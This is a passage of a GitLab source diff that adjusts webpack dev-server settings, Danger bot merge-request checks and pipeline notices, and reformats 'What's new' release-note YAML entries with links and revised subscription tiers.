@@ -556,6 +581,7 @@ module.exports = {
host: DEV_SERVER_HOST,
port: DEV_SERVER_PORT,
public: DEV_SERVER_PUBLIC_ADDR,
+ allowedHosts: DEV_SERVER_ALLOWED_HOSTS,
https: DEV_SERVER_HTTPS,
contentBase: false,
stats: 'errors-only',
diff --git a/danger/bundle_size/Dangerfile b/danger/bundle_size/Dangerfile
index a7102cd0e38..b824edb5dab 100644
--- a/danger/bundle_size/Dangerfile
+++ b/danger/bundle_size/Dangerfile
@@ -33,6 +33,8 @@ comparison_cmd = [
comment = `cat #{markdown_result}`
-markdown(<<~MARKDOWN)
+unless comment.strip.empty?
+ markdown(<<~MARKDOWN)
#{comment}
-MARKDOWN
+ MARKDOWN
+end
diff --git a/danger/changelog/Dangerfile b/danger/changelog/Dangerfile
index 971c6a2a7b9..06593a04093 100644
--- a/danger/changelog/Dangerfile
+++ b/danger/changelog/Dangerfile
@@ -46,13 +46,17 @@ def check_changelog_path(path)
ee_changes = helper.all_ee_changes.dup
ee_changes.delete(path)
- if ee_changes.any? && !changelog.ee_changelog?
+ if ee_changes.any? && !changelog.ee_changelog? && !changelog.db_changes?
warn "This MR has a Changelog file outside `ee/`, but code changes in `ee/`. Consider moving the Changelog file into `ee/`."
end
if ee_changes.empty? && changelog.ee_changelog?
warn "This MR has a Changelog file in `ee/`, but no code changes in `ee/`. Consider moving the Changelog file outside `ee/`."
end
+
+ if ee_changes.any? && changelog.ee_changelog? && changelog.db_changes?
+ warn "This MR has a Changelog file inside `ee/`, but there are database changes which [requires](https://docs.gitlab.com/ee/development/changelog.html#what-warrants-a-changelog-entry) the Changelog placement to be outside of `ee/`. Consider moving the Changelog file outside `ee/`."
+ end
end
if git.modified_files.include?("CHANGELOG.md")
diff --git a/danger/commit_messages/Dangerfile b/danger/commit_messages/Dangerfile
index 4e17db60471..816d7384a2d 100644
--- a/danger/commit_messages/Dangerfile
+++ b/danger/commit_messages/Dangerfile
@@ -1,6 +1,7 @@
# frozen_string_literal: true
require_relative File.expand_path('../../lib/gitlab/danger/commit_linter', __dir__)
+require_relative File.expand_path('../../lib/gitlab/danger/merge_request_linter', __dir__)
COMMIT_MESSAGE_GUIDELINES = "https://docs.gitlab.com/ee/development/contributing/merge_request_workflow.html#commit-messages-guidelines"
MORE_INFO = "For more information, take a look at our [Commit message guidelines](#{COMMIT_MESSAGE_GUIDELINES})."
@@ -92,7 +93,7 @@ end
def lint_mr_title(mr_title)
commit = Struct.new(:message, :sha).new(mr_title)
- Gitlab::Danger::CommitLinter.new(commit).lint_subject("merge request title")
+ Gitlab::Danger::MergeRequestLinter.new(commit).lint
end
def count_non_fixup_commits(commit_linters)
@@ -139,4 +140,12 @@ def warn_or_fail_commits(failed_linters, default_to_fail: true)
end
end
-lint_commits(git.commits)
+# As part of https://gitlab.com/groups/gitlab-org/-/epics/4826 we are
+# vendoring workhorse commits from the stand-alone gitlab-workhorse
+# repo. There is no point in linting commits that we want to vendor as
+# is.
+def workhorse_changes?
+ git.diff.any? { |file| file.path.start_with?('workhorse/') }
+end
+
+lint_commits(git.commits) unless workhorse_changes?
diff --git a/danger/database/Dangerfile b/danger/database/Dangerfile
index 2ccfdcffaea..67a9b53fe3a 100644
--- a/danger/database/Dangerfile
+++ b/danger/database/Dangerfile
@@ -2,9 +2,7 @@
gitlab_danger = GitlabDanger.new(helper.gitlab_helper)
-SCHEMA_NOT_UPDATED_MESSAGE_SHORT = <<~MSG
-New %<migrations>s added but %<schema>s wasn't updated.
-MSG
+SCHEMA_NOT_UPDATED_MESSAGE_SHORT = "New %<migrations>s added but %<schema>s wasn't updated"
SCHEMA_NOT_UPDATED_MESSAGE_FULL = <<~MSG
**#{SCHEMA_NOT_UPDATED_MESSAGE_SHORT}**
diff --git a/danger/pipeline/Dangerfile b/danger/pipeline/Dangerfile
new file mode 100644
index 00000000000..0342a39554b
--- /dev/null
+++ b/danger/pipeline/Dangerfile
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+MESSAGE = <<~MESSAGE
+## Pipeline Changes
+
+This Merge Request contains changes to the pipeline configuration for the GitLab project.
+
+Please consider the effect of the changes in this Merge Request on the following:
+- Effects on different [pipeline types](https://docs.gitlab.com/ee/development/pipelines.html#pipelines-for-merge-requests)
+- Effects on non-canonical projects (`gitlab-foss`, `security`, etc)
+- Effects on [pipeline performance](https://about.gitlab.com/handbook/engineering/quality/performance-indicators/#average-merge-request-pipeline-duration-for-gitlab)
+- Effects on fork pipelines
+
+Please consider communicating these changes to the broader team following the [communication guideline for pipeline changes](https://about.gitlab.com/handbook/engineering/quality/engineering-productivity-team/#pipeline-changes)
+MESSAGE
+
+if helper.has_ci_changes?
+ markdown(MESSAGE)
+end
diff --git a/data/whats_new/202008180001_12_10.yml b/data/whats_new/202008180001_12_10.yml
index 66267bfcace..f3a2467c91b 100644
--- a/data/whats_new/202008180001_12_10.yml
+++ b/data/whats_new/202008180001_12_10.yml
@@ -1,46 +1,63 @@
---
- title: Create and view requirements in GitLab
- body: The first step towards managing requirements from within GitLab is here! This initial release allows users to create and view requirements at a project level. As Requirements Management evolves in GitLab, stay tuned for support for traceability between all artifacts, creating a seamless workflow to visually demonstrate completeness and compliance.
+ body: |
+ The first step towards managing requirements from within GitLab is here! This initial release allows users to create and view requirements at a project level.
+
+ As Requirements Management evolves in GitLab, stay tuned for support for traceability between all artifacts, creating a seamless workflow to visually demonstrate completeness and compliance.
stage: Plan
self-managed: true
gitlab-com: true
- packages: [Ultimate, Gold]
+ packages: [Ultimate]
url: https://docs.gitlab.com/ee/user/project/requirements/index.html
- image_url:
+ image_url: https://docs.gitlab.com/ee/user/project/requirements/img/requirements_list_v13_5.png
published_at: 2020-04-22
release: 12.10
- title: Retrieve CI/CD secrets from HashiCorp Vault
- body: In this release, GitLab adds support for lightweight JSON Web Token (JWT) authentication to integrate with your existing HashiCorp Vault. Now, you can seamlessly provide secrets to CI/CD jobs by taking advantage of HashiCorp's JWT authentication method rather than manually having to provide secrets as a variable in GitLab.
+ body: |
+ In this release, GitLab adds support for lightweight JSON Web Token (JWT) authentication to integrate with your existing HashiCorp Vault.
+
+ Now, you can seamlessly provide secrets to CI/CD jobs by taking advantage of [HashiCorp's JWT authentication method](https://www.vaultproject.io/docs/auth/jwt) rather than manually having to provide secrets as a variable in GitLab.
stage: Release
self-managed: true
gitlab-com: true
- packages: [All]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/ci/examples/authenticating-with-hashicorp-vault/index.html
image_url: https://about.gitlab.com/images/12_10/jwt-vault-1.png
published_at: 2020-04-22
release: 12.10
- title: Epic and Issue Health Tracking
- body: To help users track projects and in-flight work GitLab now enables you to report on and quickly respond to the health of individual issues and epics by showing a red, amber, or green health status on your Epic Tree. Assign an issue a health status of On track (green), Needs attention (amber), or At risk (red) and see an aggregate report of health at the Epic level. Quickly view and analyze where a collection of work is at risk so you can open up the right discussions at the right time and keep work on track!
+ body: |
+ To help users track projects and in-flight work GitLab now enables you to report on and quickly respond to the health of individual issues and epics by showing a red, amber, or green health status on your Epic Tree.
+
+ Assign an issue a health status of **On track** (green), **Needs attention** (amber), or **At risk** (red) and see an aggregate report of health at the Epic level.
+
+ Quickly view and analyze where a collection of work is at risk so you can open up the right discussions at the right time and keep work on track!
stage: Plan
self-managed: true
gitlab-com: true
- packages: [Ultimate, Gold]
+ packages: [Ultimate]
url: https://docs.gitlab.com/ee/user/project/issues/index.html#health-status
image_url: https://about.gitlab.com/images/12_10/epic-health-status.png
published_at: 2020-04-22
release: 12.10
- title: Import Issues from Jira to GitLab
- body: Until now, the only way to get Jira issues into GitLab was manually, with our CSV importer, or by hand-rolling your own migration utility. GitLab 12.10 includes an MVC to automatically import your Jira issues into GitLab. This is the first of many planned enhancements to make transitioning from Jira to GitLab as frictionless as possible.
+ body: |
+ Until now, the only way to get Jira issues into GitLab was manually, with our CSV importer, or by hand-rolling your own migration utility.
+
+ GitLab 12.10 includes an [MVC](https://about.gitlab.com/handbook/product/product-principles/#the-minimal-viable-change-mvc) to automatically import your Jira issues into GitLab. This is the first of [many planned enhancements](https://gitlab.com/groups/gitlab-org/-/epics/2738) to make transitioning from Jira to GitLab as frictionless as possible.
stage: Plan
self-managed: true
gitlab-com: true
- packages: [All]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/user/project/import/jira.html
image_url: https://about.gitlab.com/images/12_10/jira-importer.png
published_at: 2020-04-22
release: 12.10
- title: Autoscaling GitLab CI jobs on AWS Fargate
- body: You can now auto-scale GitLab CI on AWS Fargate with the MVC release of GitLab’s AWS Fargate Driver. With this new autoscaling pattern, GitLab’s AWS Fargate driver automatically runs each build in a separate and isolated container on Amazon’s Elastic Container Service (ECS) using a user-defined container image.
+ body: |
+ You can now auto-scale GitLab CI on AWS Fargate with the MVC release of GitLab’s AWS Fargate Driver.
+
+ With this new autoscaling pattern, [GitLab’s AWS Fargate driver](https://gitlab.com/gitlab-org/ci-cd/custom-executor-drivers/fargate) automatically runs each build in a separate and isolated container on Amazon’s Elastic Container Service (ECS) using a user-defined container image.
stage: Verify
self-managed: true
gitlab-com: false
diff --git a/data/whats_new/202008180002_13_0.yml b/data/whats_new/202008180002_13_0.yml
index 3e76baab7f5..b8363adb8f4 100644
--- a/data/whats_new/202008180002_13_0.yml
+++ b/data/whats_new/202008180002_13_0.yml
@@ -1,6 +1,9 @@
---
- title: Gitaly Cluster for High Availability Git Storage
- body: GitLab now supports highly available Git storage without using NFS. High Availability (HA) configurations improve the availability of important systems, like Git storage, by removing single points of failure, detecting outages, and automatically switching to a replica. This means that an individual component of the system can fail without causing the end user to experience an outage. Access to Git repositories is critical to developers and businesses, because when an outage occurs, developers can’t push code, and deployments are blocked.
+ body: |
+ GitLab now supports highly available Git storage without using NFS. High Availability (HA) configurations improve the availability of important systems, like Git storage, by removing single points of failure, detecting outages, and automatically switching to a replica.
+
+ This means that an individual component of the system can fail without causing the end user to experience an outage. Access to Git repositories is critical to developers and businesses, because when an outage occurs, developers can’t push code, and deployments are blocked.
stage: Create
self-managed: true
gitlab-com: false
@@ -10,41 +13,53 @@
published_at: 2020-05-22
release: 13.0
- title: Auto Deploy to ECS
- body: Until now, there hasn’t been a simple way to deploy to Amazon Web Services. As a result, GitLab users had to spend a lot of time figuring out their own configuration. In GitLab 13.0, Auto DevOps has been extended to support deployment to AWS! GitLab users who are deploying to AWS Elastic Container Service (ECS) can now take advantage of Auto DevOps, even if they are not using Kubernetes.
+ body: |
+ Until now, there hasn’t been a simple way to deploy to Amazon Web Services. As a result, GitLab users had to spend a lot of time figuring out their own configuration.
+
+ In GitLab 13.0, Auto DevOps has been extended to support deployment to AWS! GitLab users who are deploying to AWS Elastic Container Service (ECS) can now take advantage of Auto DevOps, even if they are not using Kubernetes.
stage: Release
self-managed: true
gitlab-com: true
- packages: [All]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/topics/autodevops/index.html#aws-ecs
- image_url:
+ image_url: https://docs.gitlab.com/ee/ci/img/ecs_dashboard_v12_9.png
published_at: 2020-05-22
release: 13.0
- title: View Epic Hierarchy on a Roadmap
- body: When leveraging Multi-Level Epics, it can be difficult to keep track of where each child epic lives on the Roadmap. You can now quickly expand a parent epic on your roadmap to view all its child epics to ensure work is properly organized and your planned timeline is on track!
+ body: |
+ When leveraging Multi-Level Epics, it can be difficult to keep track of where each child epic lives on the Roadmap.
+
+ You can now quickly expand a parent epic on your roadmap to view all its child epics to ensure work is properly organized and your planned timeline is on track!
stage: Plan
self-managed: true
gitlab-com: true
- packages: [Ultimate, Gold]
+ packages: [Ultimate]
url: https://docs.gitlab.com/ee/user/group/roadmap/
image_url: https://about.gitlab.com/images/13_0/Expand-Epic-Hierarchy-Roadmap_roadmap.png
published_at: 2020-05-22
release: 13.0
- title: Versioned Snippets
- body: Snippets in GitLab are now version controlled by a Git repository. When editing a Snippet, each change creates a commit. Snippets can also be cloned to make edits locally, and then pushed back to the Snippet repository.
+ body: |
+ Snippets in GitLab are now version controlled by a Git repository. When editing a Snippet, each change creates a commit.
+
+ Snippets can also be cloned to make edits locally, and then pushed back to the Snippet repository.
stage: Create
self-managed: true
gitlab-com: true
- packages: [All]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/user/snippets.html#versioned-snippets
image_url: https://about.gitlab.com/images/13_0/phikai-versioned-snippets.png
published_at: 2020-05-22
release: 13.0
- title: Dark Theme in the Web IDE
- body: For people who spend time working in code editors, the ability to customize the environment to match their preferences is important. Dark themes are some of the most popular for other editors and important for providing a comfortable experience. That's why we're excited that the GitLab Web IDE is now completely themed dark for users who choose the Dark syntax highlighting theme perference!
+ body: |
+ For people who spend time working in code editors, the ability to customize the environment to match their preferences is important. Dark themes are some of the most [popular](https://marketplace.visualstudio.com/search?target=VSCode&category=Themes&sortBy=Installs) for other editors and important for providing a comfortable experience.
+
+ That's why we're excited that the GitLab Web IDE is now completely themed dark for users who choose the **Dark** [syntax highlighting theme perference](https://docs.gitlab.com/ee/user/profile/preferences.html#syntax-highlighting-theme)!
stage: Create
self-managed: true
gitlab-com: true
- packages: [All]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/user/project/web_ide/#themes
image_url: https://about.gitlab.com/images/13_0/phikai-web-ide-dark-theme.png
published_at: 2020-05-22
diff --git a/data/whats_new/202008180003_13_01.yml b/data/whats_new/202008180003_13_01.yml
index 304f6a29f75..ff2dc0322ba 100644
--- a/data/whats_new/202008180003_13_01.yml
+++ b/data/whats_new/202008180003_13_01.yml
@@ -1,40 +1,48 @@
---
- title: Manage IT Alerts in GitLab
- body: GitLab is excited to introduce Alert Management to aggregate multiple IT service alerts in one interface, helping your team triage alerts and promote them to Incidents. We’ve added the ability to triage alerts in a list view, view alert details, assign alerts, update the status of alerts, and create Incident Issues from Alerts.
+ body: |
+ GitLab is excited to introduce Alert Management to aggregate multiple IT service alerts in one interface, helping your team triage alerts and promote them to Incidents.
+
+ We’ve added the ability to triage alerts in a [list view](https://gitlab.com/groups/gitlab-org/-/epics/2986), [view alert details](https://gitlab.com/groups/gitlab-org/-/epics/2987), [assign alerts](https://gitlab.com/groups/gitlab-org/-/epics/3349), [update the status of alerts](https://gitlab.com/gitlab-org/gitlab/-/issues/214542), and [create Incident Issues from Alerts](https://gitlab.com/gitlab-org/gitlab/-/issues/213909).
stage: Monitor
self-managed: true
gitlab-com: true
- packages: [All]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/user/project/operations/alert_management.html
image_url: https://about.gitlab.com/images/13_1/alert_management.png
published_at: 2020-06-22
release: 13.1
- title: Accessibility Testing Merge Request Widget
- body: Today, developers who want to ensure their application is accessible to everyone suffer from slow feedback loops, which make it difficult to catch degradations in their code. In GitLab 13.1, merge requests can have a widget that details accessibility degradations related to the changed pages. This will immediately show developers the impact of their changes, which helps prevent degradations before they are merged and deployed.
+ body: |
+ Today, developers who want to ensure their application is accessible to everyone suffer from slow feedback loops, which make it difficult to catch degradations in their code.
+
+ In GitLab 13.1, merge requests can have a widget that details accessibility degradations related to the changed pages. This will immediately show developers the impact of their changes, which helps prevent degradations before they are merged and deployed.
stage: Verify
self-managed: true
gitlab-com: true
- packages: [All]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/user/project/merge_requests/accessibility_testing.html#accessibility-merge-request-widget
image_url: https://about.gitlab.com/images/13_1/a11y-merge-request-widget.png
published_at: 2020-06-22
release: 13.1
- title: Mark any Design Thread as Resolved
- body: When you receive lots of feedback on a Design, the number of comment pins can build up quickly! As your discussion thread grows, it gets hard to know which discussions are complete and which still need work. Now you’ll have the ability to mark any comment as Resolved to signify that it is now complete. Even better — your resolved comment pins will disappear from the Design so you can focus on what’s left!
+ body: |
+ When you receive lots of feedback on a Design, the number of comment pins can build up quickly! As your discussion thread grows, it gets hard to know which discussions are complete and which still need work. Now you’ll have the ability to mark any comment as **Resolved** to signify that it is now complete. Even better — your **Resolved Comment** pins will disappear from the Design so you can focus on what’s left!
stage: Create
self-managed: true
gitlab-com: true
- packages: [All]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/user/project/issues/design_management.html#resolve-design-threads
image_url: https://about.gitlab.com/images/13_1/resolve-design-comment.gif
published_at: 2020-06-22
release: 13.1
- title: Merge Request Reviews moved to Core
- body: Originally introduced in GitLab 11.4 as a GitLab Premium feature, Merge Request Reviews allow merge request reviewers to submit multiple comments at once, cutting down on notification noise for the merge request author, and allowing for a more cohesive and streamlined review process.
+ body: |
+ Originally introduced in GitLab 11.4 as a GitLab Premium feature, Merge Request Reviews allow merge request reviewers to submit multiple comments at once, cutting down on notification noise for the merge request author, and allowing for a more cohesive and streamlined review process.
stage: Create
self-managed: true
gitlab-com: true
- packages: [All]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/user/discussions/index.html#merge-request-reviews
image_url: https://about.gitlab.com/images/13_1/batch_comments.png
published_at: 2020-06-22
diff --git a/data/whats_new/202008210001_13_02.yml b/data/whats_new/202008210001_13_02.yml
index 77bde327f9c..9048e15aa26 100644
--- a/data/whats_new/202008210001_13_02.yml
+++ b/data/whats_new/202008210001_13_02.yml
@@ -1,6 +1,9 @@
---
- title: Assign Issues to Iterations
- body: Prior to this release, there was no way to associate an issue with more than one timebox in GitLab. This has been particularly problematic for teams that follow Scrum or XP. Such teams often need to associate issues with iterations/sprints, while also rolling that issue up to longer-running milestones, such as program increments. Instead of having to decide whether to use milestones for sprints or program increments and track the other in a spreadsheet, you can now assign issues to iterations, milestones, or both.
+ body: |
+ Prior to this release, there was no way to associate an issue with more than one timebox in GitLab. This has been particularly problematic for teams that follow Scrum or XP. Such teams often need to associate issues with iterations/sprints, while also rolling that issue up to longer-running milestones, such as program increments.
+
+ Instead of having to decide whether to use milestones for sprints or program increments and track the other in a spreadsheet, you can now assign issues to iterations, milestones, or both.
stage: Plan
self-managed: true
gitlab-com: true
@@ -10,31 +13,42 @@
published_at: 2020-07-22
release: 13.2
- title: Container Host Monitoring and Blocking
- body: We’re pleased to announce the first release of Container Host Security. This initial feature, container host monitoring and blocking, allows security administrators to secure their running containers at the host level by monitoring and optionally blocking unexpected activity. Such activity includes process starts, file changes, or opened network ports. This feature uses Falco to provide the monitoring functionality and AppArmor and Pod Security Policies for the blocking functionality.
+ body: |
+ We’re pleased to announce the first release of [Container Host Security](https://about.gitlab.com/direction/protect/container_host_security/). This initial feature, container host monitoring and blocking, allows security administrators to secure their running containers at the host level by monitoring and optionally blocking unexpected activity.
+
+ Such activity includes process starts, file changes, or opened network ports. This feature uses [Falco](https://falco.org/) to provide the monitoring functionality and [AppArmor](https://www.kernel.org/doc/html/v4.15/admin-guide/LSM/apparmor.html) and [Pod Security Policies](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) for the blocking functionality.
stage: Defend
self-managed: true
gitlab-com: true
- packages: [All]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://www.youtube.com/watch?v=WxBzBz76FxU&feature=youtu.be
image_url: https://img.youtube.com/vi/WxBzBz76FxU/hqdefault.jpg
published_at: 2020-07-22
release: 13.2
- title: Official GitLab-Figma Plugin
- body: Recently, the GitLab product design team and our open source Pajamas Design System switched over to Figma. We decided to build a new Figma plugin, which allows for easy uploads from Figma to issues on GitLab.com. This makes it quick and easy to collaborate on Designs. Connect your design environment with your source code management in a seamless workflow.
+ body: |
+ Recently, the GitLab product design team and our open source [Pajamas Design System](https://design.gitlab.com/) switched over to Figma. We decided to build a new Figma plugin, which allows for easy uploads from Figma to issues on GitLab.com.
+
+ This makes it quick and easy to collaborate on Designs. Connect your design environment with your source code management in a seamless workflow.
stage: Create
self-managed: false
gitlab-com: true
- packages: [All]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/user/project/issues/design_management.html#gitlab-figma-plugin
image_url: https://about.gitlab.com/images/13_2/figma-plugin.png
published_at: 2020-07-22
release: 13.2
- title: Cluster health monitoring now available in Core
- body: To understand system performance, your development team must monitor the health and performance of the underlying infrastructure. We want our metrics solution to be available to all GitLab users, so as part of our 2020 gift, we’ve moved cluster health in the Monitor stage from GitLab Ultimate to GitLab Core. Beginning with GitLab 13.2, all users can connect a cluster and monitor its health in the GitLab user interface.
+ body: |
+ To understand system performance, your development team must monitor the health and performance of the underlying infrastructure.
+
+ We want our metrics solution to be available to all GitLab users, so as part of our [2020 gift](https://about.gitlab.com/blog/2019/12/16/observability/), we’ve moved cluster health in the Monitor stage from GitLab Ultimate to GitLab Core.
+
+ Beginning with GitLab 13.2, all users can connect a cluster and monitor its health in the GitLab user interface.
stage: Monitor
self-managed: true
gitlab-com: true
- packages: [All]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/user/project/clusters/#visualizing-cluster-health
image_url: https://about.gitlab.com/images/13_2/k8s_cluster_monitoring.png
published_at: 2020-07-22
diff --git a/data/whats_new/202009150001_13_03.yml b/data/whats_new/202009150001_13_03.yml
index ae22a9826b3..92b4e144543 100644
--- a/data/whats_new/202009150001_13_03.yml
+++ b/data/whats_new/202009150001_13_03.yml
@@ -1,6 +1,9 @@
---
- title: Coverage-guided fuzz testing for Go and C/C++ applications
- body: You can now run coverage-guided fuzz tests against your Go and C/C++ apps. This is a great way to start finding security issues and bugs that other security scanners and traditional QA may miss. Coverage-guided fuzz testing uses contextual information about your app to randomly generate inputs and find crashes or other faults that you can then fix before they affect users in production.
+ body: |
+ You can now run coverage-guided fuzz tests against your Go and C/C++ apps. This is a great way to start finding security issues and bugs that other security scanners and traditional QA may miss.
+
+ Coverage-guided fuzz testing uses contextual information about your app to randomly generate inputs and find crashes or other faults that you can then fix before they affect users in production.
stage: Secure
self-managed: true
gitlab-com: true
@@ -10,17 +13,23 @@
published_at: 2020-08-22
release: 13.3
- title: Create a matrix of jobs using a simple syntax
- body: GitLab’s child/parent pipelines let you write your own code to generate an entire pipeline YAML. This is a powerful way to generate custom behaviors, including generating jobs at runtime. This might not be needed for simpler scenarios where you just want to create multiple similar jobs for a defined set of cases. In this release you can find a new matrix keyword that works along with parallel to handle the creation of multiple jobs for you, each with different variables.
+ body: |
+ GitLab’s [child/parent pipelines](https://gitlab.com/gitlab-org/gitlab/-/issues/16094) let you write your own code to generate an entire pipeline YAML. This is a powerful way to generate custom behaviors, including generating jobs at runtime. This might not be needed for simpler scenarios where you just want to create multiple similar jobs for a defined set of cases. In this release you can find a new `matrix` keyword that works along with `parallel` to handle the creation of multiple jobs for you, each with different variables.
stage: Verify
self-managed: true
gitlab-com: true
- packages: [All]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/ci/yaml/#parallel-matrix-jobs
image_url: https://about.gitlab.com/images/13_3/cartesian-matrix.png
published_at: 2020-08-22
release: 13.3
- title: On-demand DAST scans
- body: Dynamic Application Security Testing at GitLab has always been focused on integrating DAST into the DevOps pipeline and enabling developers to scan their review app, running website, or API for vulnerabilities as early as possible. However, there are times when it is necessary to run a DAST scan against an already deployed application when no code changes have been made and no Merge Request has been created. These scans could be needed for audit or compliance reasons, to debug and reproduce an issue that has been found, or to support teams who do not commit code, such as security analysts. Because of the need for DAST scans that are not triggered by a code change or MR, on-demand DAST testing is now available. You don’t need configuration files or code to start running on-demand scans. Configuration options for on-demand DAST scans are available within the GitLab UI.
+ body: |
+ Dynamic Application Security Testing at GitLab has always been focused on integrating DAST into the DevOps pipeline and enabling developers to scan their review app, running website, or API for vulnerabilities as early as possible.
+
+ However, there are times when it is necessary to run a DAST scan against an already deployed application when no code changes have been made and no Merge Request has been created. These scans could be needed for audit or compliance reasons, to debug and reproduce an issue that has been found, or to support teams who do not commit code, such as security analysts.
+
+ Because of the need for DAST scans that are not triggered by a code change or MR, on-demand DAST testing is now available. You don’t need configuration files or code to start running on-demand scans. Configuration options for on-demand DAST scans are available within the GitLab UI.
stage: Secure
self-managed: true
gitlab-com: true
@@ -30,11 +39,14 @@
published_at: 2020-08-22
release: 13.3
- title: SAST security analyzers available for all
- body: We want to help developers write better code and worry less about common security mistakes. Static Application Security Testing (SAST) helps prevent security vulnerabilities by allowing developers to easily identify common security issues as code is being committed and mitigate proactively. As part of our community stewardship commitment we have made all 15 of our open source based SAST analyzers available in every GitLab tier. This allows ALL GitLab users developing in any of our 18 supported languages and frameworks to leverage GitLab SAST in their projects.
+ body: |
+ We want to help developers write better code and worry less about common security mistakes. [Static Application Security Testing (SAST)](https://docs.gitlab.com/ee/user/application_security/sast/) helps prevent security vulnerabilities by allowing developers to easily identify common security issues as code is being committed and mitigate proactively.
+
+ As part of our [community stewardship commitment](https://about.gitlab.com/company/stewardship/#promises) we have made [all 15 of our open source based SAST analyzers](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) available in every GitLab tier. This allows ALL GitLab users developing in any of our [18 supported languages and frameworks](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) to leverage GitLab SAST in their projects.
stage: Secure
self-managed: true
gitlab-com: true
- packages: [All]
+ packages: [Core, Starter, Premium, Ultimate]
url: https://docs.gitlab.com/ee/user/application_security/sast/#making-sast-analyzers-available-to-all-gitlab-tiers
image_url: https://about.gitlab.com/images/13_3/sast-gitlab-languages.png
published_at: 2020-08-22
diff --git a/data/whats_new/202009300001_13_04.yml b/data/whats_new/202009300001_13_04.yml
index 0e54a137bae..0c5642152ae 100644
--- a/data/whats_new/202009300001_13_04.yml
+++ b/data/whats_new/202009300001_13_04.yml
@@ -1,6 +1,7 @@
---
- title: Use HashiCorp Vault secrets in CI jobs
- body: In GitLab 12.10, GitLab introduced functionality for GitLab Runner to fetch and inject secrets into CI jobs. GitLab is now expanding the JWT Vault Authentication method by building a new secrets syntax in the .gitlab-ci.yml file. This makes it easier for you to configure and use HashiCorp Vault with GitLab.
+ body: |
+ In GitLab 12.10, GitLab introduced functionality for GitLab Runner to fetch and inject secrets into CI jobs. GitLab is now expanding the [JWT Vault Authentication method](https://docs.gitlab.com/ee/ci/examples/authenticating-with-hashicorp-vault/) by building a new `secrets` syntax in the `.gitlab-ci.yml` file. This makes it easier for you to configure and use HashiCorp Vault with GitLab.
stage: Release
self-managed: true
gitlab-com: true
@@ -10,7 +11,14 @@
published_at: 2020-09-22
release: 13.4
- title: Introducing the GitLab Kubernetes Agent
- body: "GitLab's Kubernetes integration has long enabled deployment to Kubernetes clusters without manual setup. Many users have enjoyed the ease-of-use, while others have run into some challenges. The current integration requires your cluster to be open to the Internet for GitLab to access it. For many organizations, this isn't possible, because they must lock down their cluster access for security, compliance, or regulatory purposes. To work around these restrictions, users needed to create custom tooling on top of GitLab, or they couldn't use the feature. Today, we're announcing the GitLab Kubernetes Agent: a new way to deploy to Kubernetes clusters. The Agent runs inside of your cluster, so you don't need to open it to the internet. The Agent orchestrates deployments by pulling new changes from GitLab, rather than GitLab pushing updates to the cluster. No matter what method of GitOps you use, GitLab has you covered."
+ body: |
+ GitLab's Kubernetes integration has long enabled deployment to Kubernetes clusters without manual setup. Many users have enjoyed the ease-of-use, while others have run into some challenges. The current integration requires your cluster to be open to the Internet for GitLab to access it.
+
+ For many organizations, this isn't possible, because they must lock down their cluster access for security, compliance, or regulatory purposes. To work around these restrictions, users needed to create custom tooling on top of GitLab, or they couldn't use the feature.
+
+ Today, we're announcing the GitLab Kubernetes Agent: a new way to deploy to Kubernetes clusters. The Agent runs inside of your cluster, so you don't need to open it to the internet. The Agent orchestrates deployments by pulling new changes from GitLab, rather than GitLab pushing updates to the cluster.
+
+ No matter what method of GitOps you use, GitLab has you covered.
stage: Configure
self-managed: true
gitlab-com: false
@@ -20,7 +28,10 @@
published_at: 2020-09-22
release: 13.4
- title: Grant users deployment permissions without code access
- body: If your team needs to maintain separation of duties between team members who own development, and team members who own deployments, the permissions paradigm in GitLab has made this challenging. In GitLab 13.4, you can give non-code contributors permission to approve merge requests for deployment, and actually deploy code, without also granting them maintainer access.
+ body: |
+ If your team needs to maintain separation of duties between team members who own development, and team members who own deployments, the permissions paradigm in GitLab has made this challenging.
+
+ In GitLab 13.4, you can give non-code contributors permission to approve merge requests for deployment, and actually deploy code, without also granting them maintainer access.
stage: Release
self-managed: true
gitlab-com: true
@@ -30,7 +41,12 @@
published_at: 2020-09-22
release: 13.4
- title: Security Center
- body: We've made a foundational change to security visibility and management in GitLab. The Instance Security Dashboard has been transformed into a Security Center. The biggest change is introducing a new menu structure. Rather than a single page, you can now find a Security Dashboard, Vulnerability Report, and Settings area. While the functionality hasn't changed, breaking things apart enables future enhancements that would have been difficult otherwise. This also creates a top-level framework for including other security-related functionality in the future. The dedicated Vulnerability Report now has more room to display important details and inherits those currently found on the Project vulnerability list. Separating the vulnerability metrics widgets into their own area creates a true Security Dashboard.
+ body: |
+ We've made a foundational change to security visibility and management in GitLab. The Instance Security Dashboard has been transformed into a Security Center. The biggest change is introducing a new menu structure. Rather than a single page, you can now find a Security Dashboard, Vulnerability Report, and Settings area.
+
+ While the functionality hasn't changed, breaking things apart enables future enhancements that would have been difficult otherwise. This also creates a top-level framework for including other security-related functionality in the future.
+
+ The dedicated Vulnerability Report now has more room to display important details and inherits those currently found on the Project vulnerability list. Separating the vulnerability metrics widgets into their own area creates a true Security Dashboard.
stage: Secure
self-managed: true
gitlab-com: true
@@ -40,7 +56,10 @@
published_at: 2020-09-22
release: 13.4
- title: Feature Flags made available in GitLab Starter
